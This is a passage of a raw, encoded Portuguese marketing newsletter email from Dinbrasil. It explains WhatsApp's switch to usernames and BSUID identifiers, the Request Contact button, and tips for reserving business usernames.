margin:0&quot;&gt;Clientes com intera=C3=A7=C3=A3o nos =C3=BAltimos 30 dias est=C3=
=A3o protegidos pelo Contact Book da Meta. Para clientes mais antigos, o BS=
UID j=C3=A1 est=C3=A1 sendo capturado desde abril =E2=80=94 o que reduz o r=
isco. Mas, perdas parciais s=C3=A3o poss=C3=ADveis para bases muito antigas=
 sem reengajamento.&lt;/p&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;image_block block-17&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpaddi=
ng=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:=
0;mso-table-rspace:0&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot; style=3D&quot;width:100%;padding-top=
:25px;padding-bottom:25px&quot; align=3D&quot;center&quot;&gt;
&lt;div class=3D&quot;fullWidth&quot; style=3D&quot;max-width:420px&quot;&gt;&lt;img src=3D&quot;https://emai=
l-editor-production.s3.amazonaws.com/images/563535/6_2.png&quot; style=3D&quot;displa=
y:block;height:auto;border:0;width:100%&quot; width=3D&quot;420&quot; alt=3D&quot;&quot; title=3D&quot;&quot; =
height=3D&quot;auto&quot;&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;paragraph_block block-18&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellp=
adding=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-ls=
pace:0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;&lt;div=
 style=3D&quot;color:#fff;direction:ltr;font-family:'Open Sans','Helvetica Neue'=
,Helvetica,Arial,sans-serif;font-size:16px;font-weight:400;letter-spacing:0=
;line-height:1.2;text-align:left;mso-line-height-alt:19px&quot;&gt;&lt;p style=3D&quot;marg=
in:0&quot;&gt;
Sim, de acordo com a pr=C3=B3pria Meta, usu=C3=A1rios que interagiram h=C3=
=A1 mais de 30 dias e adotarem @username podem gerar contato duplicado, poi=
s o BSUID pode n=C3=A3o ter sido vinculado antes da mudan=C3=A7a. =C3=89 um=
a limita=C3=A7=C3=A3o da transi=C3=A7=C3=A3o que afeta todos os BSPs.&lt;/p&gt;&lt;/=
div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;image_block block-19&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpaddi=
ng=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:=
0;mso-table-rspace:0&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot; style=3D&quot;width:100%;padding-top=
:15px;padding-bottom:15px&quot; align=3D&quot;center&quot;&gt;&lt;div class=3D&quot;fullWidth&quot; style=
=3D&quot;max-width:480px&quot;&gt;&lt;img src=3D&quot;https://email-editor-production.s3.amazona=
ws.com/images/563535/7.png&quot; style=3D&quot;display:block;height:auto;border:0;wid=
th:100%&quot; width=3D&quot;480&quot; alt=3D&quot;&quot; title=3D&quot;&quot; height=3D&quot;auto&quot;&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;=
&lt;/table&gt;
&lt;table class=3D&quot;paragraph_block block-20&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellp=
adding=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-ls=
pace:0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;&lt;div=
 style=3D&quot;color:#fff;direction:ltr;font-family:'Open Sans','Helvetica Neue'=
,Helvetica,Arial,sans-serif;font-size:16px;font-weight:400;letter-spacing:0=
;line-height:1.2;text-align:left;mso-line-height-alt:19px&quot;&gt;
&lt;p style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;
Se um cliente totalmente desconhecido, que utiliza um username, iniciar uma=
 conversa, voc=C3=AA receber=C3=A1 apenas o BSUID dele, como se fosse um co=
ntato &quot;misterioso&quot;. Para esses casos, caso o seu CRM precise do n=C3=BAmero=
 de celular, o WhatsApp lan=C3=A7ou uma solu=C3=A7=C3=A3o nativa: o bot=C3=
=A3o REQUEST_CONTACT_INFO.&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;p style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;
Voc=C3=AA pode incluir esse bot=C3=A3o (Request Contact) nos seus templates=
 de mensagem. Quando o cliente clica nele, aparece um pop-up perguntando se=
 ele aceita compartilhar o n=C3=BAmero. Se ele disser sim, o WhatsApp envia=
 o telefone real dele diretamente para o seu webhook e j=C3=A1 o salva na s=
ua Agenda de Contatos. Isso =C3=A9 muito mais seguro e evita que o cliente =
digite um n=C3=BAmero errado durante a conversa.&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;p style=3D&quot;margin:0&quot;&gt;
Por fim, =C3=A9 importante lembrar de uma exce=C3=A7=C3=A3o vital: as mensa=
gens de Autentica=C3=A7=C3=A3o (OTP/senhas). Por quest=C3=B5es r=C3=ADgidas=
 de seguran=C3=A7a, a Meta decidiu que c=C3=B3digos de verifica=C3=A7=C3=A3=
o n=C3=A3o podem ser enviados apenas via BSUID; eles sempre exigir=C3=A3o o=
 envio para o n=C3=BAmero de telefone do usu=C3=A1rio.&lt;/p&gt;
&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;image_block block-21&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpaddi=
ng=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:=
0;mso-table-rspace:0&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot; style=3D&quot;width:100%;padding-top=
:25px;padding-bottom:25px&quot; align=3D&quot;center&quot;&gt;&lt;div class=3D&quot;fullWidth&quot; style=
=3D&quot;max-width:420px&quot;&gt;&lt;img src=3D&quot;https://email-editor-production.s3.amazona=
ws.com/images/563535/8_3.png&quot; style=3D&quot;display:block;height:auto;border:0;w=
idth:100%&quot; width=3D&quot;420&quot; alt=3D&quot;&quot; title=3D&quot;&quot; height=3D&quot;auto&quot;&gt;&lt;/div&gt;&lt;/td&gt;&lt;/t=
r&gt;&lt;/table&gt;
&lt;table class=3D&quot;paragraph_block block-22&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellp=
adding=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-ls=
pace:0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;&lt;div=
 style=3D&quot;color:#fff;direction:ltr;font-family:'Open Sans','Helvetica Neue'=
,Helvetica,Arial,sans-serif;font-size:16px;font-weight:400;letter-spacing:0=
;line-height:1.2;text-align:left;mso-line-height-alt:19px&quot;&gt;
&lt;p style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;Defina um padr=C3=A3o antes de res=
ervar seus usernames. Exemplos:&lt;br&gt;&lt;br&gt;&lt;/p&gt;
&lt;p aria-level=3D&quot;1&quot; style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;
&lt;span style=3D&quot;word-break: break-word; color: #ff5701;&quot;&gt;-&lt;/span&gt; @nomedasua=
marca =E2=80=94 canal principal de contato (ou nome da marca global/m=C3=A3=
e)&lt;/p&gt;
&lt;p aria-level=3D&quot;1&quot; style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;&lt;span style=3D&quot;wo=
rd-break: break-word; color: #ff5701;&quot;&gt;-&lt;/span&gt; @nomedasuamarca-atendimento=
 =E2=80=94 suporte&lt;/p&gt;
&lt;p aria-level=3D&quot;1&quot; style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;&lt;span style=3D&quot;wo=
rd-break: break-word; color: #ff5701;&quot;&gt;-&lt;/span&gt; @nomedasuamarca-vendas =E2=
=80=94 n=C3=BAmero dedicado a vendas&lt;/p&gt;
&lt;p style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;=C2=A0&lt;/p&gt;
&lt;p style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;&lt;strong&gt;Al=C3=A9m disso:&lt;/strong&gt;&lt;=
/p&gt;
&lt;p aria-level=3D&quot;1&quot; style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;&lt;span style=3D&quot;wo=
rd-break: break-word; color: #ff5701;&quot;&gt;-&lt;/span&gt; Evite nomes gen=C3=A9ricos =
que possam causar confus=C3=A3o com concorrentes ou empresas de outros segm=
entos.&lt;/p&gt;
&lt;p aria-level=3D&quot;1&quot; style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;
&lt;span style=3D&quot;word-break: break-word; color: #ff5701;&quot;&gt;-&lt;/span&gt; Reserve us=
ernames para todas as contas relevantes, mesmo que n=C3=A3o as use imediata=
mente.&lt;/p&gt;
&lt;p aria-level=3D&quot;1&quot; style=3D&quot;margin:0&quot;&gt;&lt;span style=3D&quot;word-break: break-wor=
d; color: #ff5701;&quot;&gt;-&lt;/span&gt; Via Accounts Center =C3=A9 poss=C3=ADvel mante=
r o mesmo @ nos servi=C3=A7os Meta. Verifique a disponibilidade do nome ant=
es de reservar!&lt;/p&gt;
&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;image_block block-23&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpaddi=
ng=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:=
0;mso-table-rspace:0&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot; style=3D&quot;width:100%;padding-top=
:25px;padding-bottom:25px&quot; align=3D&quot;center&quot;&gt;&lt;div class=3D&quot;fullWidth&quot; style=
=3D&quot;max-width:420px&quot;&gt;&lt;img src=3D&quot;https://email-editor-production.s3.amazona=
ws.com/images/563535/9_3.png&quot; style=3D&quot;display:block;height:auto;border:0;w=
idth:100%&quot; width=3D&quot;420&quot; alt=3D&quot;&quot; title=3D&quot;&quot; height=3D&quot;auto&quot;&gt;&lt;/div&gt;&lt;/td&gt;&lt;/t=
r&gt;&lt;/table&gt;
&lt;table class=3D&quot;paragraph_block block-24&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellp=
adding=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-ls=
pace:0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;&lt;div=
 style=3D&quot;color:#fff;direction:ltr;font-family:'Open Sans','Helvetica Neue'=
,Helvetica,Arial,sans-serif;font-size:16px;font-weight:400;letter-spacing:0=
;line-height:1.2;text-align:left;mso-line-height-alt:19px&quot;&gt;
&lt;p style=3D&quot;margin:0;margin-bottom:16px&quot;&gt;A grande recomenda=C3=A7=C3=A3o t=
=C3=A9cnica =C3=A9: n=C3=A3o espere o lan=C3=A7amento global.&lt;/p&gt;
&lt;p style=3D&quot;margin:0&quot;&gt;
As etapas 1 e 2 j=C3=A1 podem (e devem) ser iniciadas pelas equipes de dese=
nvolvimento, garantindo que, quando a chave virar, o seu neg=C3=B3cio conti=
nue se comunicando com excel=C3=AAncia e sem perda de dados.&lt;/p&gt;
&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;paragraph_block block-25&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellp=
adding=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-ls=
pace:0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;&lt;div=
 style=3D&quot;color:#fff;direction:ltr;font-family:'Open Sans','Helvetica Neue'=
,Helvetica,Arial,sans-serif;font-size:16px;font-weight:400;letter-spacing:0=
;line-height:1.2;text-align:left;mso-line-height-alt:19px&quot;&gt;&lt;p style=3D&quot;marg=
in:0&quot;&gt;&lt;strong&gt;&lt;span style=3D&quot;word-break: break-word; color: #d35800;&quot;&gt;Como =
a sua empresa est=C3=A1 se preparando para essa nova era do WhatsApp?&lt;/span=
&gt; &lt;/strong&gt;Compartilhe este artigo com sua equipe de produto e tecnologia!&lt;=
/p&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;table class=3D&quot;text_block block-26&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpaddin=
g=3D&quot;10&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:=
0;mso-table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;&lt;div styl=
e=3D&quot;font-family:Arial,sans-serif&quot;&gt;&lt;div class style=3D&quot;font-size:12px;font-=
family:'Open Sans','Helvetica Neue',Helvetica,Arial,sans-serif;mso-line-hei=
ght-alt:14.399999999999999px;color:#fff;line-height:1.2&quot;&gt;&lt;p style=3D&quot;margin=
:0;font-size:12px;mso-line-height-alt:14.399999999999999px&quot;&gt;
&lt;strong&gt;&lt;span style=3D&quot;word-break: break-word; font-size: 16px;&quot;&gt;At=C3=A9 m=
ais,&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class=3D&quot;row row-4&quot; align=3D&quot;center&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cel=
lpadding=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-l=
space:0;mso-table-rspace:0;background-color:#000&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;table cla=
ss=3D&quot;row-content stack&quot; align=3D&quot;center&quot; border=3D&quot;0&quot; cellpadding=3D&quot;0&quot; ce=
llspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:0;mso-table=
-rspace:0;border-radius:0;color:#000;width:600px;margin:0 auto&quot; width=3D&quot;60=
0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=3D&quot;column column-1&quot; width=3D&quot;100%&quot; style=3D&quot;mso-tab=
le-lspace:0;mso-table-rspace:0;font-weight:400;text-align:left;vertical-ali=
gn:top&quot;&gt;&lt;table class=3D&quot;image_block block-1&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; ce=
llpadding=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-=
lspace:0;mso-table-rspace:0&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot; style=3D&quot;width:100%&quot; ali=
gn=3D&quot;center&quot;&gt;&lt;div class=3D&quot;fullWidth&quot; style=3D&quot;max-width:600px&quot;&gt;&lt;img src=
=3D&quot;https://email-editor-production.s3.amazonaws.com/images/563535/Gabriela=
%20Bedore%20%283%29.png&quot; style=3D&quot;display:block;height:auto;border:0;width:=
100%&quot; width=3D&quot;600&quot; alt=3D&quot;&quot; title=3D&quot;&quot; height=3D&quot;auto&quot;&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/t=
able&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;table class=3D&quot;row row-5&quot; align=3D&quot;center&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cel=
lpadding=3D&quot;0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-l=
space:0;mso-table-rspace:0;background-color:#000&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;table cla=
ss=3D&quot;row-content stack&quot; align=3D&quot;center&quot; border=3D&quot;0&quot; cellpadding=3D&quot;0&quot; ce=
llspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:0;mso-table=
-rspace:0;border-radius:0;color:#000;width:600px;margin:0 auto&quot; width=3D&quot;60=
0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=3D&quot;column column-1&quot; width=3D&quot;100%&quot; style=3D&quot;mso-tab=
le-lspace:0;mso-table-rspace:0;font-weight:400;text-align:left;vertical-ali=
gn:top&quot;&gt;&lt;table width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpadding=3D&quot;0&quot; cellspacing=3D=
&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:0;mso-table-rspace:0&quot;&gt;&lt;=
tr&gt;&lt;td class=3D&quot;col-pad&quot; style=3D&quot;padding-bottom:8px;padding-top:8px&quot;&gt;&lt;tabl=
e class=3D&quot;text_block block-1&quot; width=3D&quot;100%&quot; border=3D&quot;0&quot; cellpadding=3D&quot;1=
0&quot; cellspacing=3D&quot;0&quot; role=3D&quot;presentation&quot; style=3D&quot;mso-table-lspace:0;mso-=
table-rspace:0;word-break:break-word&quot;&gt;&lt;tr&gt;&lt;td class=3D&quot;pad&quot;&gt;&lt;div style=3D&quot;f=
ont-family:Arial,sans-serif&quot;&gt;&lt;div class style=3D&quot;font-size:12px;font-family=
:'Open Sans','Helvetica Neue',Helvetica,Arial,sans-serif;mso-line-height-al=
t:14.399999999999999px;color:#fff;line-height:1.2&quot;&gt;&lt;p style=3D&quot;margin:0;tex=
t-align:center;mso-line-height-alt:14.399999999999999px&quot;&gt;Enviado por &lt;stron=
g&gt;Dinbrasil&lt;/strong&gt; &lt;br&gt;Rua Cl=C3=B3vis Soares, 200 - Patriani Offices - T=
orre It=C3=A1lia, 3=C2=B0 Andar, sala 302&lt;br&gt;
&lt;span style=3D&quot;word-break: break-word; color: #ffffff;&quot;&gt;Caso n=C3=A3o queir=
a mais receber estes e-mails,=C2=A0 &lt;a href=3D&quot;https://t.rdsv2.net/ls/click=
?upn=3Du001.MQGdmfoRLg23zMTeIkeBySMRwijHBtIutOFJmHuhz1yTgAKmN7zVH8RqAdpiRD8=
924YmRMGdTbAkBbskoPSYF7PQy2znI40Opaa-2BjWVUHmOjd7NqPJK4CpaJwBAixMvw6IK6sQ7j=
vbOIcE5whcMsHPfPk0Wnlok-2FUlutLTeD46BFQ-2BpOUuU87sZH57QFIXxroIqO36-2BbvSlu2=
uqUprZ4mBlSRQ441Wtlwl7JpmAzR-2F0-3DCUE0_fylF09WDx4VRLHs1TE6by0lBT3OrszeOW3G=
9NOmiwoGU-2F1VeiQuQ0lYpqo2zrBvgBSrD2YO-2BKUge6hdbmY6lBt4Myj3-2Fikgdj8IVhyyU=
5DMtADp8HRLbhuNenybMDMZ067Vz8DZ1yW52SZ0l4N7EG-2FPPyY6jW8S57ctquKz-2Bwz9-2BA=
XeXqm46ul60SmLQuQtxClTVR7nxHEbg9nxJvawLieH5NGJ9N-2FpQCL7QyYv4XcFO3cbH-2BqDp=
VHvlqbwMKS9YxpSpTvCRtPwXj48eWWGlthj64HUovstoBJyGLr6WAbZvhxiuhCBllq3w8Z6M3Bq=
KKW4P7sepKUx9CZc8LBkbVzBzDIvFGLLX1FCO9-2BLeJenfpJaKMx-2F0Ruempz13UL7qMlfBAo=
-2BToJy-2F6aSCE4l8HyzptzKx0RvzxeMwpcdjJCQjJHyvyOeTPQn-2FJoF2PEMdE5iXFMR3KpX=
Z5TE5CiJ-2FdRXs7Pv9h8Fpw5GEZ6IRbVvuEIws-2Byk-2FCsZFRlN0XpUq8er-2FqgPu6RwITG=
OOLhBhP62f4tS-2BojaW93Bo0tGmQgKlgSVZzraF5EZAdrYxTqAYRmWyaVtTMUo4S-2B9jXmTd0=
H7sK1-2FX1TKDvqVCviO0qTlafYIRzXo0ImwDbGK9nzEKuIVGvhD94OeGZglo-2BGHeldPHWia9=
TSxjEpqlQ4GdQ1-2BHodyb-2BRIpzWoh6zKFKm7N&quot; target=3D&quot;_blank&quot; rel=3D&quot;noopener=
&quot; style=3D&quot;text-decoration:underline;color:#ffffff;&quot;&gt;&lt;span style=3D&quot;word-br=
eak: break-word;&quot;&gt;cancele sua inscri=C3=A7=C3=A3o&lt;/span&gt;&lt;/a&gt;.&lt;/span&gt;&lt;/p&gt;&lt;/d=
iv&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td=
&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;!-- End --&gt;
&lt;/body&gt;
&lt;/html&gt;

--51f332c9af3d8d06e44897f356a688b3e6df26fad11ae5dfb33ef4672c45--
</pre><center><hr width="920" color="black"/> <center>
</BODY>
</HTML>